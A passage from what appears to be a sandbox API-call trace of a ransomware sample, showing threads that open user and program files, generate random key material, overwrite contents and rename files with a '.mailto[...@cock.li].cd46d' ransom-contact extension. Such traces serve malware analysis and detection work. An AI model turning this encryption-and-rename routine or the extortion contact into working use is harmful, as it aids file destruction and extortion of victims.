| out: Seed=0x2c4f8f4) returned 0x1178a43f [0171.526] RtlRandomEx (in: Seed=0x2c4f8f4 | out: Seed=0x2c4f8f4) returned 0x872e4a7 [0171.526] RtlRandomEx (in: Seed=0x2c4f8f4 | out: Seed=0x2c4f8f4) returned 0x1ebf2dab [0171.526] RtlRandomEx (in: Seed=0x2c4f8f4 | out: Seed=0x2c4f8f4) returned 0x4197ac6 [0171.526] RtlRandomEx (in: Seed=0x2c4f8f4 | out: Seed=0x2c4f8f4) returned 0x648b670d [0171.526] RtlRandomEx (in: Seed=0x2c4f8f4 | out: Seed=0x2c4f8f4) returned 0x69f5d0b5 [0171.526] RtlRandomEx (in: Seed=0x2c4f8f4 | out: Seed=0x2c4f8f4) returned 0x1a0d1288 [0171.526] RtlRandomEx (in: Seed=0x2c4f8f4 | out: Seed=0x2c4f8f4) returned 0x714fe30b [0171.526] RtlRandomEx (in: Seed=0x2c4f8f4 | out: Seed=0x2c4f8f4) returned 0x13232d66 [0171.526] RtlRandomEx (in: Seed=0x2c4f8f4 | out: Seed=0x2c4f8f4) returned 0x12cfdf31 [0171.526] RtlRandomEx (in: Seed=0x2c4f8f4 | out: Seed=0x2c4f8f4) returned 0x206be59b [0171.526] RtlRandomEx (in: Seed=0x2c4f8f4 | out: Seed=0x2c4f8f4) returned 0x12ae233b [0171.526] RtlRandomEx (in: Seed=0x2c4f8f4 | out: Seed=0x2c4f8f4) returned 0x698f009f [0171.526] RtlRandomEx (in: Seed=0x2c4f8f4 | out: Seed=0x2c4f8f4) returned 0x3036bceb [0171.538] ReadFile (hFile=0x980, lpBuffer=0x12d26820, nNumberOfBytesToRead=0x2bd, lpNumberOfBytesRead=0x2c4f8e4, lpOverlapped=0x0) [0171.538] SetFilePointerEx (in: hFile=0x980, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.538] WriteFile (in: hFile=0x980, lpBuffer=0x12d33028*, nNumberOfBytesToWrite=0x2bd, lpNumberOfBytesWritten=0x2c4f8e0, lpOverlapped=0x0 | out: lpBuffer=0x12d33028*, lpNumberOfBytesWritten=0x2c4f8e0*=0x2bd, lpOverlapped=0x0) returned 1 [0171.541] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aefb0 [0171.541] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aeec0 [0171.541] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aeec0) returned 1 [0171.541] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d33028) returned 1 [0171.541] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d26820) returned 1 [0171.541] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8698) returned 1 [0171.541] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2a58) returned 1 [0171.541] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8d87a8 [0171.541] SetFilePointerEx (in: hFile=0x980, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.541] WriteFile (in: hFile=0x980, lpBuffer=0x12cf51a8*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x2c4f948, lpOverlapped=0x0 | out: lpBuffer=0x12cf51a8*, lpNumberOfBytesWritten=0x2c4f948*=0x10b, lpOverlapped=0x0) returned 1 [0171.543] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf51a8) returned 1 [0171.543] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8898) returned 1 [0171.543] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aeec0) returned 1 [0171.543] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d87a8) returned 1 [0171.543] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aefb0) returned 1 [0171.543] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aed08) returned 1 [0171.543] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af258) returned 1 [0171.543] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af348) returned 1 [0171.543] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x180) returned 0x8f6ea0 [0171.543] wcscpy (in: _Dest=0x8f6ea0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json" [0171.543] wcscat (in: _Dest=0x8f6ea0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0171.543] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x2c4f900, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0171.543] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x196) returned 0x8f6938 Thread: id = 6269 os_tid = 0xac8 [0170.677] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\signhere.pdf")) returned 0x20 [0171.182] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\SignHere.pdf", dwFileAttributes=0x20) returned 0 [0171.182] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\signhere.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0171.182] GetLastError () returned 0x5 [0171.182] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\SignHere.pdf", dwFileAttributes=0x20) returned 0 [0171.182] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bb628) returned 1 Thread: id = 6305 os_tid = 0x1aa4 [0170.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimages.jpg")) returned 0x20 [0170.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImages.jpg", dwFileAttributes=0x20) returned 0 [0170.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimages.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.918] GetLastError () returned 0x5 [0170.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImages.jpg", dwFileAttributes=0x20) returned 0 [0170.919] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d4240) returned 1 Thread: id = 6306 os_tid = 0x1aa8 [0170.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimagesmask.bmp")) returned 0x20 [0170.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImagesMask.bmp", dwFileAttributes=0x20) returned 0 [0170.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimagesmask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.920] GetLastError () returned 0x5 [0170.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImagesMask.bmp", dwFileAttributes=0x20) returned 0 [0170.920] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93feb0) returned 1 Thread: id = 6307 os_tid = 0x1aac [0170.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarViewButtonImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendarviewbuttonimages.jpg")) returned 0x20 [0170.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarViewButtonImages.jpg", dwFileAttributes=0x20) returned 0 [0170.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarViewButtonImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendarviewbuttonimages.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.922] GetLastError () returned 0x5 [0170.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarViewButtonImages.jpg", dwFileAttributes=0x20) returned 0 [0170.922] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d4400) returned 1 Thread: id = 6308 os_tid = 0x1ab0 [0170.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimage.jpg")) returned 0x20 [0171.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImage.jpg", dwFileAttributes=0x20) returned 0 [0171.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimage.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0171.200] GetLastError () returned 0x5 [0171.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImage.jpg", dwFileAttributes=0x20) returned 0 [0171.201] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93a6b8) returned 1 Thread: id = 6309 os_tid = 0x1ab4 [0170.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimagemask.bmp")) returned 0x20 [0171.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImageMask.bmp", dwFileAttributes=0x20) returned 0 [0171.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimagemask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0171.202] GetLastError () returned 0x5 [0171.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImageMask.bmp", dwFileAttributes=0x20) returned 0 [0171.202] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ddfc0) returned 1 Thread: id = 6310 os_tid = 0x1ab8 [0170.925] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\Flash.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\flash.rus")) returned 0x20 [0170.925] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\Flash.RUS", dwFileAttributes=0x20) returned 0 [0170.925] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\Flash.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\flash.rus"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.925] GetLastError () returned 0x5 [0170.925] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\Flash.RUS", dwFileAttributes=0x20) returned 0 [0170.925] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f5858) returned 1 Thread: id = 6311 os_tid = 0x1abc [0170.927] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\MCIMPP.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\mcimpp.rus")) returned 0x20 [0170.927] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\MCIMPP.RUS", dwFileAttributes=0x20) returned 0 [0170.927] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\MCIMPP.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_rus\\mcimpp.rus"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.927] GetLastError () returned 0x5 [0170.927] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS\\MCIMPP.RUS", dwFileAttributes=0x20) returned 0 [0170.927] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4210) returned 1 Thread: id = 6339 os_tid = 0xd3c [0171.205] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json")) returned 0x2020 [0171.830] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json", dwFileAttributes=0x20) returned 1 [0172.414] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x834 [0172.414] GetFileSizeEx (in: hFile=0x834, lpFileSize=0x280faec | out: lpFileSize=0x280faec*=699) returned 1 [0172.414] SetFilePointerEx (in: hFile=0x834, liDistanceToMove=0x2b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.414] ReadFile (in: hFile=0x834, lpBuffer=0x280fa70, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x280fa6c, lpOverlapped=0x0 | out: lpBuffer=0x280fa70*, lpNumberOfBytesRead=0x280fa6c*=0x4, lpOverlapped=0x0) returned 1 [0172.416] SetFilePointerEx (in: hFile=0x834, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.416] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945a28 [0172.416] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945578 [0172.416] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9457d0 [0172.416] NtQuerySystemTime (in: CurrentTime=0x280fa4c | out: CurrentTime=0x280fa4c*=132174899470126000) returned 0x0 [0172.416] RtlRandomEx (in: Seed=0x280fa58 | out: Seed=0x280fa58) returned 0x21535b42 [0172.416] RtlRandomEx (in: Seed=0x280fa58 | out: Seed=0x280fa58) returned 0x408f06b5 [0172.416] RtlRandomEx (in: Seed=0x280fa58 | out: Seed=0x280fa58) returned 0x705fbfa9 [0172.416] RtlRandomEx (in: Seed=0x280fa58 | out: Seed=0x280fa58) returned 0x24052736 [0172.416] RtlRandomEx (in: Seed=0x280fa58 | out: Seed=0x280fa58) returned 0x5101ae74 [0172.416] RtlRandomEx (in: Seed=0x280fa58 | out: Seed=0x280fa58) returned 0x1c5ef889 [0172.416] RtlRandomEx (in: Seed=0x280fa58 | out: Seed=0x280fa58) returned 0x76cad665 [0172.416] RtlRandomEx (in: Seed=0x280fa58 | out: Seed=0x280fa58) returned 0x33109fa8 [0172.416] RtlRandomEx (in: Seed=0x280fa58 | out: Seed=0x280fa58) returned 0x4de1bb90 [0172.416] RtlRandomEx (in: Seed=0x280fa58 | out: Seed=0x280fa58) returned 0x25e1970a [0172.416] RtlRandomEx (in: Seed=0x280fa58 | out: Seed=0x280fa58) returned 0x150935f1 [0172.416] RtlRandomEx (in: Seed=0x280fa58 | out: Seed=0x280fa58) returned 0x488066de [0172.416] RtlRandomEx (in: Seed=0x280fa58 | out: Seed=0x280fa58) returned 0x74326ea9 [0172.416] RtlRandomEx (in: Seed=0x280fa58 | out: Seed=0x280fa58) returned 0x9848188 [0172.416] RtlRandomEx (in: Seed=0x280fa58 | out: Seed=0x280fa58) returned 0x2047a0c6 [0172.416] RtlRandomEx (in: Seed=0x280fa58 | out: Seed=0x280fa58) returned 0xba63780 [0172.416] RtlRandomEx (in: Seed=0x280fa58 | out: Seed=0x280fa58) returned 0x483cd701 [0172.416] RtlRandomEx (in: Seed=0x280fa58 | out: Seed=0x280fa58) returned 0x4186c1af [0172.416] RtlRandomEx (in: Seed=0x280fa58 | out: Seed=0x280fa58) returned 0x61c321b8 [0172.416] RtlRandomEx (in: Seed=0x280fa58 | out: Seed=0x280fa58) returned 0x23be0e01 [0172.416] RtlRandomEx (in: Seed=0x280fa58 | out: Seed=0x280fa58) returned 0x2b572b6b [0172.416] RtlRandomEx (in: Seed=0x280fa58 | out: Seed=0x280fa58) returned 0x623f7df7 [0172.416] RtlRandomEx (in: Seed=0x280fa58 | out: Seed=0x280fa58) returned 0x3a1351aa [0172.416] RtlRandomEx (in: Seed=0x280fa58 | out: Seed=0x280fa58) returned 0x776ac238 [0172.417] RtlRandomEx (in: Seed=0x280fa58 | out: Seed=0x280fa58) returned 0x75fb6d11 [0172.417] RtlRandomEx (in: Seed=0x280fa58 | out: Seed=0x280fa58) returned 0x12471b1 [0172.417] RtlRandomEx (in: Seed=0x280fa58 | out: Seed=0x280fa58) returned 0x6f604179 [0172.417] RtlRandomEx (in: Seed=0x280fa58 | out: Seed=0x280fa58) returned 0x742b0067 [0172.417] RtlRandomEx (in: Seed=0x280fa58 | out: Seed=0x280fa58) returned 0x49535eeb [0172.417] RtlRandomEx (in: Seed=0x280fa58 | out: Seed=0x280fa58) returned 0x3bfc9eb5 [0172.417] RtlRandomEx (in: Seed=0x280fa58 | out: Seed=0x280fa58) returned 0x138ebafc [0172.417] RtlRandomEx (in: Seed=0x280fa58 | out: Seed=0x280fa58) returned 0x54aee432 [0172.427] ReadFile (hFile=0x834, lpBuffer=0x12ccf638, nNumberOfBytesToRead=0x2bb, lpNumberOfBytesRead=0x280fa48, lpOverlapped=0x0) [0172.427] SetFilePointerEx (in: hFile=0x834, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.427] WriteFile (in: hFile=0x834, lpBuffer=0x12cdbe40*, nNumberOfBytesToWrite=0x2bb, lpNumberOfBytesWritten=0x280fa44, lpOverlapped=0x0 | out: lpBuffer=0x12cdbe40*, lpNumberOfBytesWritten=0x280fa44*=0x2bb, lpOverlapped=0x0) returned 1 [0172.846] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af398 [0172.846] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af2d0 [0172.846] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af2d0) returned 1 [0172.846] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cdbe40) returned 1 [0172.846] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12ccf638) returned 1 [0172.846] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93be28) returned 1 [0172.846] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d26b0) returned 1 [0172.846] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0xd4d8290 [0172.846] SetFilePointerEx (in: hFile=0x834, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.846] WriteFile (in: hFile=0x834, lpBuffer=0x12cf5ec8*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x280faac, lpOverlapped=0x0 | out: lpBuffer=0x12cf5ec8*, lpNumberOfBytesWritten=0x280faac*=0x10b, lpOverlapped=0x0) returned 1 [0173.414] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5ec8) returned 1 [0173.414] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d82c0) returned 1 [0173.414] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af2d0) returned 1 [0173.414] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8290) returned 1 [0173.414] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af398) returned 1 [0173.414] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945578) returned 1 [0173.414] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945640) returned 1 [0173.414] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945708) returned 1 [0173.414] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x180) returned 0x12c6a1e8 [0173.414] wcscpy (in: _Dest=0x12c6a1e8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json" [0173.414] wcscat (in: _Dest=0x12c6a1e8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0173.415] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x280fa64, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0173.415] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x196) returned 0x12c6a370 Thread: id = 6340 os_tid = 0xd40 [0171.216] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 